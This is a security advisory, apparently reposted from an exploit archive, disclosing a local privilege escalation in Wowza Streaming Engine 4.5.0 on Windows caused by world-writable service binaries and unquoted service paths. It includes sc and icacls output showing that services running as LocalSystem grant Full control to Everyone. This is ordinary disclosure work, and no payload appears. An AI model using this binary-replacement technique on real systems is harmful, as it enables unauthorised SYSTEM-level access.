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Wowza Streaming Engine 4.5.0 - Privilege Escalation (1)
[Wowza Streaming Engine 4.5.0 Local Privilege Escalation
Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: Wowza Streaming Engine 4.5.0 (build 18676)
Wowza Streaming Engine Manager 4.5.0 (build 18676)
Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.
Desc: Wowza Streaming Engine suffers from an elevation of privileges
vulnerability which can be used by a simple authenticated user that
can change the executable file with a binary of choice. The vulnerability
exist due to the improper permissions, with the 'F' flag (Full) for
'Everyone' group. In combination with insecure file permissions the
application suffers from an unquoted search path issue impacting the
services 'WowzaStreamingEngine450' and 'WowzaStreamingEngineManager450'
for Windows deployed as part of Wowza Streaming software.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Java Version: 1.8.0_77
Java VM Version: 25.77-b03
Java Architecture: 64
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5339
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5339.php
03.07.2016
--
C:\Users\lqwrm>sc qc WowzaStreamingEngineManager450
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WowzaStreamingEngineManager450
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wowza Streaming Engine Manager 4.5.0
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\lqwrm>cacls "C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe"
C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe Everyone:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
BUILTIN\Users:(ID)R
==========
C:\Users\lqwrm>sc qc WowzaStreamingEngine450
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WowzaStreamingEngine450
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wowza Streaming Engine 4.5.0
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\lqwrm>icacls "C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe"
C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
# 0day.today [2024-11-15] #